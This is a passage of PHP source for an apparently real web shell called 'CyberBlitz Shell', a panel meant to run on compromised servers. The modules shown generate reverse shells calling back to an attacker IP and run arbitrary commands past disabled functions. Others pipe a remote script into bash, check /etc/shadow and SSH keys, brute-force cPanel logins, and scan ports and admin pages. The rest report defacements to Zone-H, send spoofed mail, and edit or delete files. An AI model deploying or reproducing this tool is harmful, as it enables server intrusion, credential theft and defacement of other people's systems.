        </form>
        </div>
        <?php
        }

// REVERSE SHELL
        elseif ($action === 'reverse') {
            echo '<div class="panel"><div class="panel-title">🔙 Reverse Shell Generator</div>';
            $ip = isset($_POST['rev_ip']) ? $_POST['rev_ip'] : '';
            $port = isset($_POST['rev_port']) ? $_POST['rev_port'] : '4444';
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Your IP:</label>
            <input type="text" name="rev_ip" class="form-input" value="<?php echo htmlspecialchars($ip); ?>"
                placeholder="192.168.1.100">
            <label style="color: var(--neon-cyan);">Port:</label>
            <input type="text" name="rev_port" class="form-input" value="<?php echo htmlspecialchars($port); ?>">
            <button type="submit" name="gen_reverse" class="form-btn">⚡ GENERATE</button>
        </form>

<?php if ($ip && $port): ?>
            <div style="margin-top: 15px;">
                <h4 style="color: var(--neon-pink);">PHP Reverse Shell:</h4>
                <pre
                    class="console-output">&lt;?php $sock=fsockopen("<?php echo $ip; ?>",<?php echo $port; ?>);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");</pre>

<h4 style="color: var(--neon-pink);">Python:</h4>
                <pre
                    class="console-output">python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<?php echo $ip; ?>",<?php echo $port; ?>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'</pre>

<h4 style="color: var(--neon-pink);">Netcat Listener:</h4>
                <pre class="console-output">nc -lvnp <?php echo $port; ?></pre>
            </div>
        <?php endif; ?>
        </div>
        <?php
        }

// MAILER
        elseif ($action === 'mailer') {
            echo '<div class="panel"><div class="panel-title">📧 Mailer</div>';

$mail_result = '';
            if (isset($_POST['send_mail'])) {
                $to = $_POST['mail_to'];
                $subject = $_POST['mail_subject'];
                $message = $_POST['mail_message'];
                $headers = "From: " . $_POST['mail_from'] . "\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "Content-Type: text/html; charset=UTF-8\r\n";

if (@mail($to, $subject, $message, $headers)) {
                    $mail_result = "<div class='alert alert-success'>✅ Email sent successfully!</div>";
                } else {
                    $mail_result = "<div class='alert alert-error'>❌ Failed to send email</div>";
                }
            }
            echo $mail_result;
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">From:</label>
            <input type="email" name="mail_from" class="form-input" value="admin@<?php echo $_SERVER['HTTP_HOST']; ?>">
            <label style="color: var(--neon-cyan);">To:</label>
            <input type="email" name="mail_to" class="form-input" placeholder="target@example.com">
            <label style="color: var(--neon-cyan);">Subject:</label>
            <input type="text" name="mail_subject" class="form-input" value="Test Email">
            <label style="color: var(--neon-cyan);">Message:</label>
            <textarea name="mail_message"
                class="form-input form-textarea">&lt;h1&gt;Test Email&lt;/h1&gt;&lt;p&gt;Sent from CyberBlitz Shell&lt;/p&gt;</textarea>
            <button type="submit" name="send_mail" class="form-btn">📧 SEND EMAIL</button>
        </form>
        </div>
        <?php
        }

// DISABLE FUNCTIONS BYPASS
        elseif ($action === 'bypass') {
            echo '<div class="panel"><div class="panel-title">🛡️ Disable Functions Bypass</div>';

$disabled = @ini_get('disable_functions');
            $exec_funcs = ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'];

echo "<p style='color:var(--neon-cyan);'>Disabled Functions: " . ($disabled ?: 'NONE') . "</p>";
            echo "<h4 style='color:var(--neon-pink);'>Testing Execution Methods:</h4>";

$bypass_result = '';
            $test_cmd = isset($_POST['bypass_cmd']) ? $_POST['bypass_cmd'] : 'id';

if (isset($_POST['test_bypass'])) {
                foreach ($exec_funcs as $func) {
                    if (function_exists($func) && !in_array($func, explode(',', str_replace(' ', '', $disabled)))) {
                        $bypass_result .= "<div style='background:var(--surface);padding:10px;margin:5px 0;border-radius:4px;'>";
                        $bypass_result .= "<span style='color:var(--success);'>✅ $func</span> - Available<br>";
                        try {
                            ob_start();
                            if ($func == 'system')
                                @system($test_cmd);
                            elseif ($func == 'exec') {
                                @exec($test_cmd, $out);
                                echo implode("\n", $out);
                            } elseif ($func == 'shell_exec')
                                echo @shell_exec($test_cmd);
                            elseif ($func == 'passthru')
                                @passthru($test_cmd);
                            $output = ob_get_clean();
                            if ($output)
                                $bypass_result .= "<pre style='color:var(--neon-green);'>" . htmlspecialchars($output) . "</pre>";
                        } catch (Exception $e) {
                        }
                        $bypass_result .= "</div>";
                    } else {
                        $bypass_result .= "<div style='color:var(--error);'>❌ $func - Disabled</div>";
                    }
                }
            }
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Test Command:</label>
            <input type="text" name="bypass_cmd" class="form-input" value="<?php echo htmlspecialchars($test_cmd); ?>">
            <button type="submit" name="test_bypass" class="form-btn">🛡️ TEST BYPASS</button>
        </form>
        <?php echo $bypass_result; ?>
        </div>
        <?php
        }

// ZONE-H
        elseif ($action === 'zoneh') {
            echo '<div class="panel"><div class="panel-title">📋 Zone-H Notifier</div>';

$zh_result = '';
            if (isset($_POST['submit_zoneh'])) {
                $url = 'http://www.zone-h.org/notify/single';
                $data = [
                    'defacer' => $_POST['zh_hacker'],
                    'domain' => $_POST['zh_domain'],
                    'hackmode' => $_POST['zh_method'],
                    'reason' => $_POST['zh_reason']
                ];

$ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
                $response = curl_exec($ch);
                curl_close($ch);

if ($response) {
                    $zh_result = "<div class='alert alert-success'>✅ Submitted to Zone-H!</div>";
                } else {
                    $zh_result = "<div class='alert alert-error'>❌ Submission failed</div>";
                }
            }
            echo $zh_result;
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Hacker Name:</label>
            <input type="text" name="zh_hacker" class="form-input" value="CyberBlitz">
            <label style="color: var(--neon-cyan);">Domain:</label>
            <input type="text" name="zh_domain" class="form-input" value="<?php echo $_SERVER['HTTP_HOST']; ?>">
            <label style="color: var(--neon-cyan);">Method:</label>
            <select name="zh_method" class="form-input">
                <option value="1">Homepage Defacement</option>
                <option value="2">Mass Defacement</option>
                <option value="3">Special Defacement</option>
            </select>
            <label style="color: var(--neon-cyan);">Reason:</label>
            <select name="zh_reason" class="form-input">
                <option value="1">Just for fun</option>
                <option value="2">Patriotism</option>
                <option value="3">Challenge</option>
            </select>
            <button type="submit" name="submit_zoneh" class="form-btn">📋 SUBMIT TO ZONE-H</button>
        </form>
        </div>
        <?php
        }

// BACKDOOR FINDER
        elseif ($action === 'backdoor') {
            echo '<div class="panel"><div class="panel-title">🔍 Backdoor Finder</div>';

$shell_patterns = [
                'eval\s*\(\s*\$_(GET|POST|REQUEST)',
                'base64_decode\s*\(\s*\$_',
                'shell_exec',
                'system\s*\(',
                'passthru\s*\(',
                'exec\s*\(',
                'c99',
                'r57',
                'wso',
                'b374k',
                'weevely',
                'FilesMan'
            ];

$found_shells = [];

if (isset($_POST['scan_backdoor'])) {
                $scan_path = $_POST['scan_path'];
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($scan_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );

foreach ($iterator as $file) {
                    if ($file->isFile() && $file->getExtension() === 'php') {
                        $content = @file_get_contents($file->getPathname());
                        if ($content) {
                            foreach ($shell_patterns as $pattern) {
                                if (preg_match('/' . $pattern . '/i', $content)) {
                                    $found_shells[$file->getPathname()][] = $pattern;
                                }
                            }
                        }
                    }
                    if (count($found_shells) > 50)
                        break;
                }
            }
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Scan Path:</label>
            <input type="text" name="scan_path" class="form-input" value="<?php echo htmlspecialchars($path); ?>">
            <button type="submit" name="scan_backdoor" class="form-btn">🔍 SCAN FOR BACKDOORS</button>
        </form>

<?php if (!empty($found_shells)): ?>
            <div style="margin-top: 15px;">
                <h4 style="color: var(--error);">⚠️ Found <?php echo count($found_shells); ?> suspicious files:</h4>
                <?php foreach ($found_shells as $file => $patterns): ?>
                    <div
                        style="background: var(--surface); padding: 10px; margin: 5px 0; border-radius: 4px; border-left: 3px solid var(--error);">
                        <a href="?path=<?php echo urlencode(dirname($file)); ?>&action=view&file=<?php echo urlencode($file); ?>"
                            style="color: var(--neon-cyan);"><?php echo htmlspecialchars($file); ?></a>
                        <br><small style="color: var(--text-secondary);">Matched: <?php echo implode(', ', $patterns); ?></small>
                    </div>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
        </div>
        <?php
        }

// EDIT FILE
        elseif ($action === 'edit' && isset($_GET['file'])) {
            $file = $_GET['file'];

if (isset($_POST['file_content'])) {
                if (file_put_contents($file, $_POST['file_content']) !== false) {
                    echo '<div class="alert alert-success">✅ File saved successfully</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Failed to save file</div>';
                }
            }

$content = file_get_contents($file);
            echo '<div class="panel"><div class="panel-title">📝 Editing: ' . htmlspecialchars(basename($file)) . '</div>';
            ?>
        <form method="POST">
            <textarea name="file_content" class="form-input form-textarea"
                style="min-height: 400px;"><?php echo htmlspecialchars($content); ?></textarea>
            <button type="submit" class="form-btn">💾 SAVE FILE</button>
            <a href="?path=<?php echo urlencode($path); ?>" class="form-btn"
                style="background: var(--border); margin-left: 10px; text-decoration: none; display: inline-block;">❌
                CANCEL</a>
        </form>
        </div>
        <?php
        }

// DELETE
        elseif ($action === 'delete' && isset($_GET['target'])) {
            $target = $_GET['target'];
            if (is_dir($target)) {
                if (@rmdir($target)) {
                    echo '<div class="alert alert-success">✅ Directory deleted</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Cannot delete (directory not empty or permission denied)</div>';
                }
            } else {
                if (@unlink($target)) {
                    echo '<div class="alert alert-success">✅ File deleted</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Cannot delete file</div>';
                }
            }
        }

// FILE LISTING (Default)
        if ($action === 'files' || $action === 'delete') {
            chdir($path);
            $items = @scandir($path);

echo '<div class="panel"><div class="panel-title">📂 File Manager</div>';
            echo '<div style="overflow-x: auto;">';
            echo '<table class="file-table">';
            echo '<tr><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr>';

// Parent directory
            echo '<tr>';
            echo '<td><a href="?path=' . urlencode(dirname($path)) . '" class="file-link folder">📁 ..</a></td>';
            echo '<td>-</td><td>-</td><td>-</td><td>-</td>';
            echo '</tr>';

// Directories first
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..')
                        continue;
                    $fullPath = $path . '/' . $item;
                    if (!is_dir($fullPath))
                        continue;

$perms = getPerms($fullPath);
                    $modified = date('Y-m-d H:i', filemtime($fullPath));

echo '<tr>';
                    echo '<td><a href="?path=' . urlencode($fullPath) . '" class="file-link folder">📁 ' . htmlspecialchars($item) . '</a></td>';
                    echo '<td>DIR</td>';
                    echo '<td>' . $modified . '</td>';
                    echo '<td class="' . (isWritable($fullPath) ? 'writable' : 'not-writable') . '">' . $perms . '</td>';
                    echo '<td>';
                    echo '<a href="?path=' . urlencode($path) . '&action=delete&target=' . urlencode($fullPath) . '" class="action-btn delete" onclick="return confirm(\'Delete directory?\')">🗑️</a>';
                    echo '</td>';
                    echo '</tr>';
                }

// Files
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..')
                        continue;
                    $fullPath = $path . '/' . $item;
                    if (is_dir($fullPath))
                        continue;

$perms = getPerms($fullPath);
                    $size = formatSize(filesize($fullPath));
                    $modified = date('Y-m-d H:i', filemtime($fullPath));

echo '<tr>';
                    echo '<td><a href="?path=' . urlencode($path) . '&action=view&file=' . urlencode($fullPath) . '" class="file-link">📄 ' . htmlspecialchars($item) . '</a></td>';
                    echo '<td>' . $size . '</td>';
                    echo '<td>' . $modified . '</td>';
                    echo '<td class="' . (isWritable($fullPath) ? 'writable' : 'not-writable') . '">' . $perms . '</td>';
                    echo '<td>';
                    echo '<a href="?path=' . urlencode($path) . '&action=edit&file=' . urlencode($fullPath) . '" class="action-btn">✏️</a>';
                    echo '<a href="?download=' . urlencode($fullPath) . '" class="action-btn">⬇️</a>';
                    echo '<a href="?path=' . urlencode($path) . '&action=delete&target=' . urlencode($fullPath) . '" class="action-btn delete" onclick="return confirm(\'Delete file?\')">🗑️</a>';
                    echo '</td>';
                    echo '</tr>';
                }
            }

echo '</table></div></div>';
        }

// VIEW FILE
        if ($action === 'view' && isset($_GET['file'])) {
            $file = $_GET['file'];
            $content = @file_get_contents($file);

echo '<div class="panel">';
            echo '<div class="panel-title">👁️ Viewing: ' . htmlspecialchars(basename($file)) . '</div>';
            echo '<div class="console-output" style="border-color: var(--neon-cyan);">' . htmlspecialchars($content) . '</div>';
            echo '<div style="margin-top: 15px;">';
            echo '<a href="?path=' . urlencode($path) . '&action=edit&file=' . urlencode($file) . '" class="form-btn">✏️ EDIT</a> ';
            echo '<a href="?download=' . urlencode($file) . '" class="form-btn" style="background: var(--neon-cyan);">⬇️ DOWNLOAD</a> ';
            echo '<a href="?path=' . urlencode($path) . '" class="form-btn" style="background: var(--border);">← BACK</a>';
            echo '</div></div>';
        }

// AUTO-ROOT EXPLOIT
        elseif ($action === 'autoroot') {
            echo '<div class="panel"><div class="panel-title">👑 Auto-Root Exploit Finder</div>';

$exploits = [
                'Dirty COW (CVE-2016-5195)' => '2.6.22 < 4.8.3',
                'Dirty Pipe (CVE-2022-0847)' => '5.8 - 5.16.11',
                'PwnKit (CVE-2021-4034)' => 'polkit pkexec',
                'Baron Samedit (CVE-2021-3156)' => 'sudo < 1.9.5p2',
                'Sudo (CVE-2019-14287)' => 'sudo < 1.8.28',
                'Looney Tunables (CVE-2023-4911)' => 'glibc < 2.34',
                'GameOver(lay) (CVE-2023-2640)' => 'Ubuntu kernels',
                'Netfilter (CVE-2022-32250)' => '5.1.0 - 5.19',
            ];

$kernel = php_uname('r');
            echo '<div class="console-output" style="border-color: var(--neon-orange);">';
            echo "<b>🖥️ Kernel Version:</b> $kernel\n\n";
            echo "<b>📋 Potential Exploits:</b>\n\n";

foreach ($exploits as $name => $affected) {
                echo "• <span style='color: var(--neon-pink);'>$name</span>\n";
                echo "  Affected: $affected\n\n";
            }

echo "</div>";

echo '<div style="margin-top: 15px;">';
            echo '<b>🔗 Exploit Sources:</b><br>';
            echo '• <a href="https://github.com/The-Z-Labs/linux-exploit-suggester" target="_blank">Linux Exploit Suggester</a><br>';
            echo '• <a href="https://github.com/peass-ng/PEASS-ng" target="_blank">LinPEAS / PEASS-ng</a><br>';
            echo '• <a href="https://gtfobins.github.io/" target="_blank">GTFOBins</a><br>';
            echo '</div>';

echo '<form method="post" style="margin-top: 15px;">';
            echo '<button class="form-btn" name="run_les" style="width: 100%;">🔍 Run Linux Exploit Suggester</button>';
            echo '</form>';

if (isset($_POST['run_les'])) {
                $les_cmd = 'curl -s https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash 2>&1';
                $output = @shell_exec($les_cmd);
                echo '<div class="console-output" style="margin-top: 15px;">';
                echo htmlspecialchars($output ?: 'Unable to run exploit suggester. Try manually.');
                echo '</div>';
            }

echo '</div>';
        }

// PRIVILEGE ESCALATION CHECKER
        elseif ($action === 'privesc') {
            echo '<div class="panel"><div class="panel-title">⬆️ Privilege Escalation Checker</div>';

echo '<div class="console-output" style="border-color: var(--neon-purple);">';

// SUID binaries
            echo "<b>🔐 SUID Binaries:</b>\n";
            $suid = @shell_exec('find / -perm -4000 -type f 2>/dev/null | head -30');
            echo htmlspecialchars($suid ?: "Cannot enumerate SUID binaries\n");

// Writable directories
            echo "\n<b>📁 World-Writable Directories:</b>\n";
            $writable = @shell_exec('find / -type d -perm -o+w 2>/dev/null | head -20');
            echo htmlspecialchars($writable ?: "Cannot enumerate writable dirs\n");

// Cron jobs
            echo "\n<b>⏰ Cron Jobs:</b>\n";
            $cron = @shell_exec('cat /etc/crontab 2>/dev/null; ls -la /etc/cron.* 2>/dev/null');
            echo htmlspecialchars($cron ?: "Cannot read cron\n");

// Sudo permissions
            echo "\n<b>🔑 Sudo Permissions:</b>\n";
            $sudo = @shell_exec('sudo -l 2>/dev/null');
            echo htmlspecialchars($sudo ?: "Cannot check sudo\n");

// Interesting files
            echo "\n<b>📄 Interesting Files:</b>\n";
            $files = ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/root/.ssh/id_rsa', '/home/*/.ssh/id_rsa'];
            foreach ($files as $f) {
                $readable = @is_readable($f) ? '✅ Readable' : '❌ Not readable';
                echo "$f: $readable\n";
            }

echo '</div></div>';
        }

// CPANEL CRACKER
        elseif ($action === 'cpcrack') {
            echo '<div class="panel"><div class="panel-title">🔓 cPanel/WHM Cracker</div>';

if (isset($_POST['crack_cpanel'])) {
                $users_raw = trim($_POST['userlist']);
                $pass_raw = trim($_POST['passlist']);
                $users = array_filter(explode("\n", $users_raw));
                $passwords = array_filter(explode("\n", $pass_raw));
                $server = trim($_POST['server'] ?: 'localhost');
                $port = intval($_POST['port'] ?: 2083);

echo '<div class="console-output" style="border-color: var(--success);">';
                echo "🎯 Testing $server:$port\n";
                echo "👥 Users: " . count($users) . " | 🔑 Passwords: " . count($passwords) . "\n\n";

$found = 0;
                foreach ($users as $user) {
                    $user = trim($user);
                    if (empty($user))
                        continue;

foreach ($passwords as $pass) {
                        $pass = trim($pass);
                        if (empty($pass))
                            continue;

$url = "https://$server:$port/login/?login_only=1";
                        $post = "user=$user&pass=$pass";

$ch = curl_init();
                        curl_setopt_array($ch, [
                            CURLOPT_URL => $url,
                            CURLOPT_POST => true,
                            CURLOPT_POSTFIELDS => $post,
                            CURLOPT_RETURNTRANSFER => true,
                            CURLOPT_SSL_VERIFYPEER => false,
                            CURLOPT_SSL_VERIFYHOST => false,
                            CURLOPT_TIMEOUT => 10,
                            CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
                        ]);

$response = curl_exec($ch);
                        curl_close($ch);

if (strpos($response, 'status":1') !== false || strpos($response, 'security_token') !== false) {
                            echo "✅ <span style='color: var(--success);'>FOUND: $user:$pass</span>\n";
                            $found++;
                        }
                    }
                }

echo "\n📊 Results: $found valid credentials found\n";
                echo '</div>';
            }

echo '<form method="post">';
            echo '<label>Server (IP/Domain):</label>';
            echo '<input type="text" name="server" class="form-input" placeholder="localhost or 192.168.1.1">';
            echo '<label>Port:</label>';
            echo '<input type="number" name="port" class="form-input" value="2083">';
            echo '<label>Usernames (one per line):</label>';
            echo '<textarea name="userlist" class="form-input" rows="5" placeholder="root&#10;admin&#10;user"></textarea>';
            echo '<label>Passwords (one per line):</label>';
            echo '<textarea name="passlist" class="form-input" rows="5" placeholder="password&#10;123456&#10;admin123"></textarea>';
            echo '<button type="submit" name="crack_cpanel" class="form-btn" style="width: 100%;">🚀 Start Cracking</button>';
            echo '</form></div>';
        }

// PORT SCANNER
        elseif ($action === 'portscanner') {
            echo '<div class="panel"><div class="panel-title">🔌 Port Scanner</div>';

if (isset($_POST['scan_ports'])) {
                $target = trim($_POST['target']);
                $ports = trim($_POST['ports'] ?: '21,22,23,25,80,110,143,443,445,3306,3389,5432,8080,8443');

echo '<div class="console-output" style="border-color: var(--neon-cyan);">';
                echo "🎯 Scanning: $target\n\n";

$port_list = array_filter(array_map('trim', explode(',', $ports)));

foreach ($port_list as $port) {
                    $port = intval($port);
                    if ($port < 1 || $port > 65535)
                        continue;

$socket = @fsockopen($target, $port, $errno, $errstr, 2);
                    if ($socket) {
                        fclose($socket);
                        $service = '';
                        switch ($port) {
                            case 21:
                                $service = 'FTP';
                                break;
                            case 22:
                                $service = 'SSH';
                                break;
                            case 23:
                                $service = 'Telnet';
                                break;
                            case 25:
                                $service = 'SMTP';
                                break;
                            case 80:
                                $service = 'HTTP';
                                break;
                            case 110:
                                $service = 'POP3';
                                break;
                            case 143:
                                $service = 'IMAP';
                                break;
                            case 443:
                                $service = 'HTTPS';
                                break;
                            case 445:
                                $service = 'SMB';
                                break;
                            case 3306:
                                $service = 'MySQL';
                                break;
                            case 3389:
                                $service = 'RDP';
                                break;
                            case 5432:
                                $service = 'PostgreSQL';
                                break;
                            case 8080:
                                $service = 'HTTP-Alt';
                                break;
                        }
                        echo "✅ Port $port <span style='color: var(--success);'>OPEN</span> $service\n";
                    } else {
                        echo "❌ Port $port <span style='color: var(--text-secondary);'>CLOSED</span>\n";
                    }
                }
                echo '</div>';
            }

echo '<form method="post">';
            echo '<label>Target (IP/Domain):</label>';
            echo '<input type="text" name="target" class="form-input" placeholder="192.168.1.1 or example.com">';
            echo '<label>Ports (comma-separated):</label>';
            echo '<input type="text" name="ports" class="form-input" value="21,22,23,25,80,110,143,443,445,3306,3389,5432,8080,8443">';
            echo '<button type="submit" name="scan_ports" class="form-btn" style="width: 100%;">🔍 Scan Ports</button>';
            echo '</form></div>';
        }

// DOMAINS FINDER
        elseif ($action === 'domains') {
            echo '<div class="panel"><div class="panel-title">🌐 Domains on Server</div>';

echo '<div class="console-output" style="border-color: var(--neon-green);">';

// Method 1: /etc/named.conf
            echo "<b>📁 From named.conf:</b>\n";
            $named = @file_get_contents('/etc/named.conf');
            if ($named && preg_match_all('/zone\s+"([^"]+)"/', $named, $matches)) {
                echo implode("\n", array_unique($matches[1])) . "\n\n";
            } else {
                echo "Cannot read named.conf\n\n";
            }

// Method 2: /var/named/
            echo "<b>📁 From zone files:</b>\n";
            $zones = @glob('/var/named/*.db');
            if ($zones) {
                foreach ($zones as $zone) {
                    echo basename($zone, '.db') . "\n";
                }
            } else {
                echo "No zone files found\n";
            }
            echo "\n";

// Method 3: Apache VirtualHosts
            echo "<b>📁 Apache Virtual Hosts:</b>\n";
            $vhosts = @shell_exec('grep -r "ServerName\|ServerAlias" /etc/apache2/sites-enabled/ /etc/httpd/conf.d/ 2>/dev/null | head -50');
            echo htmlspecialchars($vhosts ?: "Cannot enumerate vhosts\n");

// Method 4: /etc/passwd users -> public_html
            echo "\n<b>📁 User Domains (public_html):</b>\n";
            $users = @file('/etc/passwd');
            if ($users) {
                foreach ($users as $line) {
                    $parts = explode(':', $line);
                    if (isset($parts[5]) && count($parts) >= 6) {
                        $home = $parts[5];
                        if (is_dir("$home/public_html")) {
                            echo "$parts[0] -> $home/public_html\n";
                        }
                    }
                }
            }

echo '</div></div>';
        }

// ADMIN FINDER
        elseif ($action === 'adminfinder') {
            echo '<div class="panel"><div class="panel-title">🔎 Admin Panel Finder</div>';

if (isset($_POST['find_admin'])) {
                $target = rtrim(trim($_POST['target']), '/');

$paths = [
                    '/admin/',
                    '/administrator/',
                    '/admin.php',
                    '/login.php',
                    '/wp-admin/',
                    '/wp-login.php',
                    '/admincp/',
                    '/admin_area/',
                    '/admin/login.php',
                    '/admin/index.php',
                    '/cpanel/',
                    '/webadmin/',
                    '/user/',
                    '/login/',
                    '/panel/',
                    '/controlpanel/',
                    '/adminpanel/',
                    '/admin1/',
                    '/admin2/',
                    '/moderator/',
                    '/backend/',
                    '/dashboard/',
                    '/manage/',
                    '/manager/',
                    '/adm/',
                    '/admin/account.php',
                    '/admin/admin.php',
                    '/joomla/administrator/',
                    '/phpmyadmin/',
                    '/pma/',
                    '/mysql/',
                    '/dbadmin/',
                    '/myadmin/',
                    '/sqladmin/',
                    '/sql/',
                    '/db/',
                    '/webdb/',
                    '/websql/',
                ];

echo '<div class="console-output" style="border-color: var(--neon-pink);">';
                echo "🎯 Scanning: $target\n\n";

$found = 0;
                foreach ($paths as $p) {
                    $url = $target . $p;

$ch = curl_init();
                    curl_setopt_array($ch, [
                        CURLOPT_URL => $url,
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_SSL_VERIFYPEER => false,
                        CURLOPT_TIMEOUT => 5,
                        CURLOPT_NOBODY => true,
                    ]);

curl_exec($ch);
                    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                    curl_close($ch);

if ($code == 200 || $code == 301 || $code == 302) {
                        echo "✅ <span style='color: var(--success);'>[$code] $url</span>\n";
                        $found++;
                    }
                }

echo "\n📊 Found: $found admin panels\n";
                echo '</div>';
            }

echo '<form method="post">';
            echo '<label>Target URL:</label>';
            echo '<input type="text" name="target" class="form-input" placeholder="https://example.com">';
            echo '<button type="submit" name="find_admin" class="form-btn" style="width: 100%;">🔍 Find Admin Panels</button>';
            echo '</form></div>';
        }

// ABOUT
        elseif ($action === 'about') {
            echo '<div class="panel">';
            echo '<div style="text-align: center; padding: 40px 20px;">';
            echo '<h1 style="font-size: 48px; margin-bottom: 10px;">⚡</h1>';
            echo '<h1 style="color: var(--neon-pink); font-size: 32px; margin-bottom: 5px;">' . $SHELL_NAME . '</h1>';
            echo '<p style="color: var(--neon-cyan); font-size: 18px; margin-bottom: 30px;">' . $VERSION . '</p>';

echo '<div style="display: grid; grid-template-columns: repeat(3, 1fr); gap: 15px; max-width: 600px; margin: 0 auto;">';
            $features = [
                '📁 File Manager',
                '💻 Console',
                '📤 Upload',
                '💀 Mass Deface',
                '🔗 Symlink',
                '🔐 Config Grab',
                '🗄️ Database',
                '🔙 Reverse Shell',
                '📧 Mailer',
                '👑 AutoRoot',
                '⬆️ PrivEsc',
                '🛡️ Bypass',
                '🔓 cPanel Crack',
                '🔌 Port Scan',
                '🌐 Domains',
                '🔎 Admin Finder',
                '📋 Zone-H',
                '🔍 Backdoor Find',
            ];

foreach ($features as $f) {
                echo "<div style='background: var(--card); padding: 10px; border-radius: 8px; border: 1px solid var(--border);'>$f</div>";
            }

echo '</div>';

echo '<p style="margin-top: 40px; color: var(--text-secondary);">';
            echo '403 Bypass: <span style="color: var(--success);">Active</span> | ';
            echo 'PHP: ' . PHP_VERSION . ' | ';
            echo 'Server: ' . php_uname('s') . '</p>';

echo '</div></div>';
        }
        ?>

<div style="text-align: center; padding: 20px; color: var(--text-secondary); font-size: 12px;">
        <?php echo $SHELL_NAME; ?> <?php echo $VERSION; ?> |
        403 Bypass: <span style="color: var(--success);">Active</span> |
        © <?php echo date('Y'); ?>
    </div>
    </div>

</body>

</html>